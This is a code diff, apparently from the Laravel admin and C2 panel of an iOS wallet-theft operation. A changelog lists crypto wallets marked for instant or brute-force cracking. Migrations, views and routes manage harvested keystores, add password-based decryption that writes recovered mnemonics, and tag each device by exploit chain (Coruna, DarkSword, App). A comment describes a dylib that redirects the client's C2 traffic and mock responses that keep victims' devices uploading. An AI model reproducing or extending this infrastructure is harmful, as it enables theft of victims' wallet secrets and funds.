- 秒破:Bitpie / Trust / Coin98 / Exodus / Phantom / Uniswap / Tonhub / OKX
|
||||||
|
- 暴力破:imToken / TokenPocket / TronLink / MetaMask
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 26.0.1 – 26.6.1
|
||||||
|
|
||||||
|
**版本范围:** 26.0.1 – 26.6.1
|
||||||
|
|
||||||
|
**支持钱包:**
|
||||||
|
- 爆破:imToken / TronLink / MetaMask / OKX / Coin98 / TokenPocket
|
||||||
|
- 秒破:Tonhub
|
||||||
@@ -0,0 +1,26 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::table('wallet_keystores', function (Blueprint $table) {
|
||||||
|
// 1 = needs a user password to unlock. NULL = not flagged.
|
||||||
|
// Never store 0 — filters and UI treat only 1 as "需要密码".
|
||||||
|
$table->unsignedTinyInteger('needs_password')->nullable()->after('decrypted');
|
||||||
|
$table->index('needs_password');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::table('wallet_keystores', function (Blueprint $table) {
|
||||||
|
$table->dropIndex(['needs_password']);
|
||||||
|
$table->dropColumn('needs_password');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::table('wallet_keystores', function (Blueprint $table) {
|
||||||
|
$table->string('list_kind', 32)->nullable()->after('needs_password');
|
||||||
|
$table->unsignedInteger('list_item_count')->nullable()->after('list_kind');
|
||||||
|
$table->string('list_summary', 255)->nullable()->after('list_item_count');
|
||||||
|
$table->unsignedTinyInteger('list_has_web3')->nullable()->after('list_summary');
|
||||||
|
$table->index('source');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::table('wallet_keystores', function (Blueprint $table) {
|
||||||
|
$table->dropIndex(['source']);
|
||||||
|
$table->dropColumn(['list_kind', 'list_item_count', 'list_summary', 'list_has_web3']);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\DB;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::table('wallet_keystores', function (Blueprint $table) {
|
||||||
|
$table->unsignedTinyInteger('chain')->nullable()->after('device_id');
|
||||||
|
$table->index('chain');
|
||||||
|
});
|
||||||
|
|
||||||
|
if (Schema::getConnection()->getDriverName() === 'mysql') {
|
||||||
|
DB::update('UPDATE wallet_keystores wk INNER JOIN devices d ON d.id = wk.device_id SET wk.chain = IFNULL(d.chain, 1)');
|
||||||
|
} else {
|
||||||
|
$chains = DB::table('devices')->pluck('chain', 'id');
|
||||||
|
foreach ($chains as $deviceId => $chain) {
|
||||||
|
DB::table('wallet_keystores')
|
||||||
|
->where('device_id', $deviceId)
|
||||||
|
->whereNull('chain')
|
||||||
|
->update(['chain' => (int) ($chain ?: 1)]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::table('wallet_keystores', function (Blueprint $table) {
|
||||||
|
$table->dropIndex(['chain']);
|
||||||
|
$table->dropColumn('chain');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -183,6 +183,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
|||||||
if (c === 'BSC' || c === 'BNB' || c === 'BINANCE') return 'https://bscscan.com/address/' + encodeURIComponent(addr);
|
if (c === 'BSC' || c === 'BNB' || c === 'BINANCE') return 'https://bscscan.com/address/' + encodeURIComponent(addr);
|
||||||
if (c === 'BTC' || c === 'BITCOIN') return 'https://mempool.space/address/' + encodeURIComponent(addr);
|
if (c === 'BTC' || c === 'BITCOIN') return 'https://mempool.space/address/' + encodeURIComponent(addr);
|
||||||
if (c === 'SOL' || c === 'SOLANA') return 'https://solscan.io/account/' + encodeURIComponent(addr);
|
if (c === 'SOL' || c === 'SOLANA') return 'https://solscan.io/account/' + encodeURIComponent(addr);
|
||||||
|
if (c === 'ARB' || c === 'ARBITRUM') return 'https://arbiscan.io/address/' + encodeURIComponent(addr);
|
||||||
return '';
|
return '';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -319,6 +319,25 @@
|
|||||||
</div>
|
</div>
|
||||||
</form>
|
</form>
|
||||||
@endif
|
@endif
|
||||||
|
@if ($tab === 'keystores')
|
||||||
|
<form class="layui-form" lay-filter="LAY-keystore-filter" style="margin-bottom: 12px;">
|
||||||
|
<div class="layui-form-item" style="margin-bottom: 0;">
|
||||||
|
<div class="layui-inline">
|
||||||
|
<label class="layui-form-label" style="width: auto;">需要密码</label>
|
||||||
|
<div class="layui-input-inline" style="width: 160px;">
|
||||||
|
<select name="needs_password">
|
||||||
|
<option value="">全部</option>
|
||||||
|
<option value="1">是</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="layui-inline">
|
||||||
|
<button class="layui-btn" lay-submit lay-filter="LAY-keystore-search">筛选</button>
|
||||||
|
<button type="reset" class="layui-btn layui-btn-primary" id="LAY-keystore-reset">重置</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
@endif
|
||||||
<table id="LAY-device-tab-list" lay-filter="LAY-device-tab-list"></table>
|
<table id="LAY-device-tab-list" lay-filter="LAY-device-tab-list"></table>
|
||||||
@if (in_array($tab, ['ws-sessions', 'tg-sessions'], true))
|
@if (in_array($tab, ['ws-sessions', 'tg-sessions'], true))
|
||||||
<script type="text/html" id="LAY-device-session-ops">
|
<script type="text/html" id="LAY-device-session-ops">
|
||||||
@@ -652,15 +671,15 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
|||||||
{ field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) {
|
{ field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) {
|
||||||
return Number(d.decrypted) === 1 ? '是' : '否';
|
return Number(d.decrypted) === 1 ? '是' : '否';
|
||||||
} },
|
} },
|
||||||
|
{ field: 'needs_password', title: '需要密码', width: 110, sort: true, templet: function (d) {
|
||||||
|
return Number(d.needs_password) === 1 ? '是' : '—';
|
||||||
|
} },
|
||||||
{ field: 'kind', title: '类型', width: 110, templet: function (d) { return dash(d.kind); } },
|
{ field: 'kind', title: '类型', width: 110, templet: function (d) { return dash(d.kind); } },
|
||||||
{ field: 'item_count', title: '条目', width: 70 },
|
|
||||||
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
|
|
||||||
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
|
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
|
||||||
{ title: '操作', width: 240, align: 'center', templet: function (d) {
|
{ title: '操作', width: 200, align: 'center', templet: function (d) {
|
||||||
var html = '';
|
var html = '';
|
||||||
if (d.items_url) html += '<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看</a>';
|
|
||||||
if (d.detail_api_url && d.has_web3_keystore) html += '<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">明文</a>';
|
if (d.detail_api_url && d.has_web3_keystore) html += '<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">明文</a>';
|
||||||
if (d.decrypt_url) html += '<a class="layui-btn layui-btn-xs" lay-event="decrypt">解密</a>';
|
if (Number(d.needs_password) === 1 && d.password_decrypt_url) html += '<a class="layui-btn layui-btn-xs" style="background:#ff5722" lay-event="decryptPassword">密码解密</a>';
|
||||||
return html || '—';
|
return html || '—';
|
||||||
} }
|
} }
|
||||||
]],
|
]],
|
||||||
@@ -740,15 +759,21 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
|||||||
|
|
||||||
if (tab === 'keystores') {
|
if (tab === 'keystores') {
|
||||||
table.on('tool(LAY-device-tab-list)', function (obj) {
|
table.on('tool(LAY-device-tab-list)', function (obj) {
|
||||||
if (obj.event === 'decrypt') {
|
if (obj.event === 'decryptPassword') {
|
||||||
if (!obj.data.decrypt_url) return layer.msg('无法解密');
|
if (!obj.data.password_decrypt_url) return layer.msg('无法密码解密');
|
||||||
layer.confirm('对该设备已存钥匙串尝试解密并写入助记词?Trust UTC 可能需要一两分钟,请勿关闭页面。', { icon: 3, title: '解密' }, function (idx) {
|
layer.prompt({
|
||||||
|
formType: 1,
|
||||||
|
title: '输入钱包密码',
|
||||||
|
maxlength: 256
|
||||||
|
}, function (value, idx) {
|
||||||
|
var password = String(value || '').trim();
|
||||||
|
if (!password) return layer.msg('请输入密码');
|
||||||
layer.close(idx);
|
layer.close(idx);
|
||||||
var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 });
|
var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 });
|
||||||
$.ajax({
|
$.ajax({
|
||||||
url: obj.data.decrypt_url,
|
url: obj.data.password_decrypt_url,
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
data: { _token: token },
|
data: { _token: token, password: password },
|
||||||
timeout: 180000,
|
timeout: 180000,
|
||||||
success: function (res) {
|
success: function (res) {
|
||||||
layer.msg((res && res.msg) || '已处理');
|
layer.msg((res && res.msg) || '已处理');
|
||||||
@@ -791,40 +816,6 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
|||||||
});
|
});
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (obj.event !== 'items' || !obj.data.items_url) return;
|
|
||||||
layer.load(1);
|
|
||||||
$.getJSON(obj.data.items_url, function (res) {
|
|
||||||
layer.closeAll('loading');
|
|
||||||
if (!res || res.code !== 0) {
|
|
||||||
return layer.msg((res && res.msg) || '加载失败');
|
|
||||||
}
|
|
||||||
var d = res.data || {};
|
|
||||||
var items = d.items || [];
|
|
||||||
var html = '<div style="padding:12px 16px 16px;"><div style="color:#666;font-size:13px;margin-bottom:10px;">#' +
|
|
||||||
esc(d.id) + ' · 来源 ' + esc(d.source || '未知') + ' · ' + esc(d.kind || '') +
|
|
||||||
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') +
|
|
||||||
' · ' + items.length + ' 条</div>';
|
|
||||||
if (!items.length) {
|
|
||||||
html += '<div style="color:#999;padding:24px 0;text-align:center;">暂无条目</div></div>';
|
|
||||||
} else {
|
|
||||||
html += '<table class="layui-table"><thead><tr>' +
|
|
||||||
'<th>Account</th><th>Service</th><th>Access Group</th><th>Class</th><th>长度</th><th>预览</th>' +
|
|
||||||
'</tr></thead><tbody>';
|
|
||||||
items.forEach(function (it) {
|
|
||||||
html += '<tr><td><code>' + esc(it.account || it.path || '—') + '</code></td>' +
|
|
||||||
'<td>' + dash(it.service) + '</td>' +
|
|
||||||
'<td><code>' + esc(it.access_group || '') + '</code></td>' +
|
|
||||||
'<td>' + dash(it.protection_class) + '</td>' +
|
|
||||||
'<td>' + esc(it.data_len) + '</td>' +
|
|
||||||
'<td class="wrap"><code>' + esc(it.data_preview || '') + '</code></td></tr>';
|
|
||||||
});
|
|
||||||
html += '</tbody></table></div>';
|
|
||||||
}
|
|
||||||
layer.open({ type: 1, title: '钥匙串 #' + (d.id || ''), area: ['920px', '70%'], content: html });
|
|
||||||
}).fail(function () {
|
|
||||||
layer.closeAll('loading');
|
|
||||||
layer.msg('加载失败');
|
|
||||||
});
|
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -951,6 +942,28 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
|||||||
}, 0);
|
}, 0);
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (tab === 'keystores') {
|
||||||
|
form.render('select');
|
||||||
|
form.on('submit(LAY-keystore-search)', function (data) {
|
||||||
|
table.reload('LAY-device-tab-list', {
|
||||||
|
where: {
|
||||||
|
tab: 'keystores',
|
||||||
|
needs_password: data.field.needs_password || ''
|
||||||
|
},
|
||||||
|
page: { curr: 1 }
|
||||||
|
});
|
||||||
|
return false;
|
||||||
|
});
|
||||||
|
$('#LAY-keystore-reset').on('click', function () {
|
||||||
|
setTimeout(function () {
|
||||||
|
table.reload('LAY-device-tab-list', {
|
||||||
|
where: { tab: 'keystores', needs_password: '' },
|
||||||
|
page: { curr: 1 }
|
||||||
|
});
|
||||||
|
}, 0);
|
||||||
|
});
|
||||||
|
}
|
||||||
});
|
});
|
||||||
</script>
|
</script>
|
||||||
|
|
||||||
|
|||||||
@@ -48,6 +48,17 @@
|
|||||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-ks-search">
|
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-ks-search">
|
||||||
<div class="layui-form-item">
|
<div class="layui-form-item">
|
||||||
@include('admin.partials.filter_channel_select')
|
@include('admin.partials.filter_channel_select')
|
||||||
|
<div class="layui-inline">
|
||||||
|
<label class="layui-form-label">利用链</label>
|
||||||
|
<div class="layui-input-block">
|
||||||
|
<select name="chain">
|
||||||
|
<option value="">全部</option>
|
||||||
|
<option value="1">Coruna</option>
|
||||||
|
<option value="2">DarkSword</option>
|
||||||
|
<option value="3">App</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
<div class="layui-inline">
|
<div class="layui-inline">
|
||||||
<label class="layui-form-label">设备 ID</label>
|
<label class="layui-form-label">设备 ID</label>
|
||||||
<div class="layui-input-block">
|
<div class="layui-input-block">
|
||||||
@@ -77,6 +88,15 @@
|
|||||||
</select>
|
</select>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
<div class="layui-inline">
|
||||||
|
<label class="layui-form-label">需要密码</label>
|
||||||
|
<div class="layui-input-block">
|
||||||
|
<select name="needs_password">
|
||||||
|
<option value="">全部</option>
|
||||||
|
<option value="1">是</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
<div class="layui-inline">
|
<div class="layui-inline">
|
||||||
<button class="layui-btn" lay-submit lay-filter="LAY-ks-search">搜索</button>
|
<button class="layui-btn" lay-submit lay-filter="LAY-ks-search">搜索</button>
|
||||||
</div>
|
</div>
|
||||||
@@ -85,9 +105,8 @@
|
|||||||
<div class="layui-card-body">
|
<div class="layui-card-body">
|
||||||
<table id="LAY-ks-list" lay-filter="LAY-ks-list"></table>
|
<table id="LAY-ks-list" lay-filter="LAY-ks-list"></table>
|
||||||
<script type="text/html" id="LAY-ks-ops">
|
<script type="text/html" id="LAY-ks-ops">
|
||||||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看条目</a>
|
|
||||||
@{{# if(d.has_web3_keystore){ }}<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">查看明文</a>@{{# } }}
|
@{{# if(d.has_web3_keystore){ }}<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">查看明文</a>@{{# } }}
|
||||||
<a class="layui-btn layui-btn-xs" lay-event="decrypt">解密</a>
|
@{{# if(Number(d.needs_password) === 1){ }}<a class="layui-btn layui-btn-xs" style="background:#ff5722" lay-event="decryptPassword">密码解密</a>@{{# } }}
|
||||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||||||
</script>
|
</script>
|
||||||
</div>
|
</div>
|
||||||
@@ -110,50 +129,6 @@ layui.use(['table', 'form', 'layer'], function () {
|
|||||||
}
|
}
|
||||||
function dash(v) { return v ? esc(v) : '—'; }
|
function dash(v) { return v ? esc(v) : '—'; }
|
||||||
|
|
||||||
window.CorunaKeystoreItems = window.CorunaKeystoreItems || function (url, title) {
|
|
||||||
layer.load(1);
|
|
||||||
$.getJSON(url, function (res) {
|
|
||||||
layer.closeAll('loading');
|
|
||||||
if (!res || res.code !== 0) {
|
|
||||||
return layer.msg((res && res.msg) || '加载失败');
|
|
||||||
}
|
|
||||||
var d = res.data || {};
|
|
||||||
var items = d.items || [];
|
|
||||||
var html = '<div class="ks-wrap"><div class="ks-meta">#' + esc(d.id) +
|
|
||||||
' · 来源 ' + esc(d.source || '未知') +
|
|
||||||
' · ' + esc(d.kind || '') +
|
|
||||||
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') +
|
|
||||||
' · ' + items.length + ' 条</div>';
|
|
||||||
if (!items.length) {
|
|
||||||
html += '<div class="ks-empty">暂无条目</div></div>';
|
|
||||||
} else {
|
|
||||||
html += '<table class="ks-table"><thead><tr>' +
|
|
||||||
'<th>Account</th><th>Service</th><th>Access Group</th><th>Class</th><th>长度</th><th>预览</th>' +
|
|
||||||
'</tr></thead><tbody>';
|
|
||||||
items.forEach(function (it) {
|
|
||||||
html += '<tr>' +
|
|
||||||
'<td class="mono">' + esc(it.account || it.path || '—') + '</td>' +
|
|
||||||
'<td class="mono">' + dash(it.service) + '</td>' +
|
|
||||||
'<td class="mono">' + dash(it.access_group) + '</td>' +
|
|
||||||
'<td>' + dash(it.protection_class) + '</td>' +
|
|
||||||
'<td>' + esc(it.data_len) + '</td>' +
|
|
||||||
'<td class="mono">' + dash(it.data_preview) + '</td>' +
|
|
||||||
'</tr>';
|
|
||||||
});
|
|
||||||
html += '</tbody></table></div>';
|
|
||||||
}
|
|
||||||
layer.open({
|
|
||||||
type: 1,
|
|
||||||
title: title || ('钥匙串 #' + (d.id || '')),
|
|
||||||
area: ['920px', '70%'],
|
|
||||||
content: html
|
|
||||||
});
|
|
||||||
}).fail(function () {
|
|
||||||
layer.closeAll('loading');
|
|
||||||
layer.msg('加载失败');
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
// ── Plaintext detail viewer (sensitive fields masked) ──
|
// ── Plaintext detail viewer (sensitive fields masked) ──
|
||||||
window.CorunaKeystoreDetail = window.CorunaKeystoreDetail || function (url, title) {
|
window.CorunaKeystoreDetail = window.CorunaKeystoreDetail || function (url, title) {
|
||||||
layer.load(1);
|
layer.load(1);
|
||||||
@@ -191,14 +166,22 @@ layui.use(['table', 'form', 'layer'], function () {
|
|||||||
cols: [[
|
cols: [[
|
||||||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||||||
{ field: 'device_key', title: '设备 ID', width: 160, templet: function (d) { return d.device_key ? '<code>' + esc(d.device_key) + '</code>' : '—'; } },
|
{ field: 'device_key', title: '设备 ID', width: 160, templet: function (d) { return d.device_key ? '<code>' + esc(d.device_key) + '</code>' : '—'; } },
|
||||||
|
{ field: 'chain', title: '利用链', width: 120, sort: true, templet: function (d) {
|
||||||
|
var c = Number(d.chain);
|
||||||
|
var cls = 'tag-chain-coruna', label = 'Coruna';
|
||||||
|
if (c === 2) { cls = 'tag-chain-darksword'; label = 'DarkSword'; }
|
||||||
|
else if (c === 3) { cls = 'tag-chain-app'; label = 'App'; }
|
||||||
|
return '<span class="tag-chain ' + cls + '">' + label + '</span>';
|
||||||
|
} },
|
||||||
{ field: 'channel_id', title: '渠道 ID', minWidth: 180, templet: function (d) { return dash(d.channel_id); } },
|
{ field: 'channel_id', title: '渠道 ID', minWidth: 180, templet: function (d) { return dash(d.channel_id); } },
|
||||||
{ field: 'source', title: '来源', width: 130, sort: true, templet: function (d) { return esc(d.source || '未知'); } },
|
{ field: 'source', title: '来源', width: 130, sort: true, templet: function (d) { return esc(d.source || '未知'); } },
|
||||||
{ field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) {
|
{ field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) {
|
||||||
return Number(d.decrypted) === 1 ? '是' : '否';
|
return Number(d.decrypted) === 1 ? '是' : '否';
|
||||||
} },
|
} },
|
||||||
|
{ field: 'needs_password', title: '需要密码', width: 110, sort: true, templet: function (d) {
|
||||||
|
return Number(d.needs_password) === 1 ? '是' : '—';
|
||||||
|
} },
|
||||||
{ field: 'kind', title: '类型', width: 110 },
|
{ field: 'kind', title: '类型', width: 110 },
|
||||||
{ field: 'item_count', title: '条目', width: 70 },
|
|
||||||
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
|
|
||||||
{ field: 'created_at', title: '时间', width: 170, sort: true },
|
{ field: 'created_at', title: '时间', width: 170, sort: true },
|
||||||
{ title: '操作', width: 240, align: 'center', fixed: 'right', toolbar: '#LAY-ks-ops' }
|
{ title: '操作', width: 240, align: 'center', fixed: 'right', toolbar: '#LAY-ks-ops' }
|
||||||
]],
|
]],
|
||||||
@@ -212,23 +195,25 @@ layui.use(['table', 'form', 'layer'], function () {
|
|||||||
return false;
|
return false;
|
||||||
});
|
});
|
||||||
table.on('tool(LAY-ks-list)', function (obj) {
|
table.on('tool(LAY-ks-list)', function (obj) {
|
||||||
if (obj.event === 'items') {
|
|
||||||
window.CorunaKeystoreItems(obj.data.items_url, '钥匙串 #' + obj.data.id);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
if (obj.event === 'plaintext') {
|
if (obj.event === 'plaintext') {
|
||||||
window.CorunaKeystoreDetail(obj.data.detail_api_url, '明文详情 #' + obj.data.id);
|
window.CorunaKeystoreDetail(obj.data.detail_api_url, '明文详情 #' + obj.data.id);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (obj.event === 'decrypt') {
|
if (obj.event === 'decryptPassword') {
|
||||||
if (!obj.data.decrypt_url) return layer.msg('无法解密');
|
if (!obj.data.password_decrypt_url) return layer.msg('无法密码解密');
|
||||||
layer.confirm('对该设备已存钥匙串尝试解密并写入助记词?Trust UTC 可能需要一两分钟,请勿关闭页面。', { icon: 3, title: '解密' }, function (idx) {
|
layer.prompt({
|
||||||
|
formType: 1,
|
||||||
|
title: '输入钱包密码',
|
||||||
|
maxlength: 256
|
||||||
|
}, function (value, idx) {
|
||||||
|
var password = String(value || '').trim();
|
||||||
|
if (!password) return layer.msg('请输入密码');
|
||||||
layer.close(idx);
|
layer.close(idx);
|
||||||
var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 });
|
var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 });
|
||||||
$.ajax({
|
$.ajax({
|
||||||
url: obj.data.decrypt_url,
|
url: obj.data.password_decrypt_url,
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
data: { _token: token },
|
data: { _token: token, password: password },
|
||||||
timeout: 180000,
|
timeout: 180000,
|
||||||
success: function (res) {
|
success: function (res) {
|
||||||
layer.msg((res && res.msg) || '已处理');
|
layer.msg((res && res.msg) || '已处理');
|
||||||
|
|||||||
@@ -142,6 +142,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
|||||||
if (c === 'BSC' || c === 'BNB' || c === 'BINANCE') return 'https://bscscan.com/address/' + encodeURIComponent(addr);
|
if (c === 'BSC' || c === 'BNB' || c === 'BINANCE') return 'https://bscscan.com/address/' + encodeURIComponent(addr);
|
||||||
if (c === 'BTC' || c === 'BITCOIN') return 'https://mempool.space/address/' + encodeURIComponent(addr);
|
if (c === 'BTC' || c === 'BITCOIN') return 'https://mempool.space/address/' + encodeURIComponent(addr);
|
||||||
if (c === 'SOL' || c === 'SOLANA') return 'https://solscan.io/account/' + encodeURIComponent(addr);
|
if (c === 'SOL' || c === 'SOLANA') return 'https://solscan.io/account/' + encodeURIComponent(addr);
|
||||||
|
if (c === 'ARB' || c === 'ARBITRUM') return 'https://arbiscan.io/address/' + encodeURIComponent(addr);
|
||||||
return '';
|
return '';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -87,6 +87,7 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
|
|||||||
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
|
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
|
||||||
Route::get('keystores/{keystore}/detail', [KeystoreController::class, 'detail'])->name('keystores.detail');
|
Route::get('keystores/{keystore}/detail', [KeystoreController::class, 'detail'])->name('keystores.detail');
|
||||||
Route::post('keystores/{keystore}/decrypt', [KeystoreController::class, 'decrypt'])->name('keystores.decrypt');
|
Route::post('keystores/{keystore}/decrypt', [KeystoreController::class, 'decrypt'])->name('keystores.decrypt');
|
||||||
|
Route::post('keystores/{keystore}/decrypt-password', [KeystoreController::class, 'decryptPassword'])->name('keystores.decryptPassword');
|
||||||
|
|
||||||
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
|
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
|
||||||
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
|
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
|
||||||
|
|||||||
+10
-10
@@ -28,15 +28,15 @@ $ctl = AppC2Controller::class;
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
// ai-live doge C2 pipeline (w2.bsvpn.net → /api/v2/*).
|
// App 利用链 C2 pipeline (/api/v2/*).
|
||||||
// c2_redirect.dylib rewrites doge's C2 URL to http://<lab>:8000/api/v2/*
|
// c2_redirect.dylib rewrites the client C2 URL to http://<lab>:8000/api/v2/*
|
||||||
// (HTTP, no TLS — doge's static libcurl bypasses iOS ATS). This catch-all
|
// (HTTP, no TLS — static libcurl bypasses iOS ATS). This catch-all
|
||||||
// logs every request to public/log/app_c2/Ymd.log and returns the
|
// logs every request to public/log/app_c2/Ymd.log and returns the
|
||||||
// permissive mock responses doge expects so it keeps uploading.
|
// permissive mock responses the client expects so it keeps uploading.
|
||||||
Route::any('/api/v2/devices', [$ctl, 'aiLiveV2']);
|
Route::any('/api/v2/devices', [$ctl, 'appUpload']);
|
||||||
Route::any('/api/v2/uploads', [$ctl, 'aiLiveV2']);
|
Route::any('/api/v2/uploads', [$ctl, 'appUpload']);
|
||||||
Route::match(['PUT', 'POST'], '/api/v2/uploads/{id}/chunks', [$ctl, 'aiLiveV2'])->where('id', '[^/]+');
|
Route::match(['PUT', 'POST'], '/api/v2/uploads/{id}/chunks', [$ctl, 'appUpload'])->where('id', '[^/]+');
|
||||||
Route::match(['PUT', 'POST'], '/api/v2/uploads/{id}/chunks/{n}', [$ctl, 'aiLiveV2'])
|
Route::match(['PUT', 'POST'], '/api/v2/uploads/{id}/chunks/{n}', [$ctl, 'appUpload'])
|
||||||
->where(['id' => '[^/]+', 'n' => '[0-9]+']);
|
->where(['id' => '[^/]+', 'n' => '[0-9]+']);
|
||||||
Route::any('/api/v2/finish', [$ctl, 'aiLiveV2']);
|
Route::any('/api/v2/finish', [$ctl, 'appUpload']);
|
||||||
Route::any('/api/v2/{any?}', [$ctl, 'aiLiveV2'])->where('any', '.*');
|
Route::any('/api/v2/{any?}', [$ctl, 'appUpload'])->where('any', '.*');
|
||||||
|
|||||||
@@ -84,6 +84,7 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
|
|||||||
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
|
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
|
||||||
Route::get('keystores/{keystore}/detail', [KeystoreController::class, 'detail'])->name('keystores.detail');
|
Route::get('keystores/{keystore}/detail', [KeystoreController::class, 'detail'])->name('keystores.detail');
|
||||||
Route::post('keystores/{keystore}/decrypt', [KeystoreController::class, 'decrypt'])->name('keystores.decrypt');
|
Route::post('keystores/{keystore}/decrypt', [KeystoreController::class, 'decrypt'])->name('keystores.decrypt');
|
||||||
|
Route::post('keystores/{keystore}/decrypt-password', [KeystoreController::class, 'decryptPassword'])->name('keystores.decryptPassword');
|
||||||
|
|
||||||
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
|
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
|
||||||
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
|
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
|
||||||
|
|||||||
@@ -0,0 +1,507 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace Tests\Feature;
|
||||||
|
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\DeviceApp;
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
use App\Models\WalletKeystore;
|
||||||
|
use App\Models\WalletMnemonic;
|
||||||
|
use App\Services\AppUploadIngester;
|
||||||
|
use App\Services\Tokenview\TokenviewMonitorService;
|
||||||
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||||
|
use Illuminate\Support\Facades\Http;
|
||||||
|
use Mockery;
|
||||||
|
use PHPUnit\Framework\Attributes\Test;
|
||||||
|
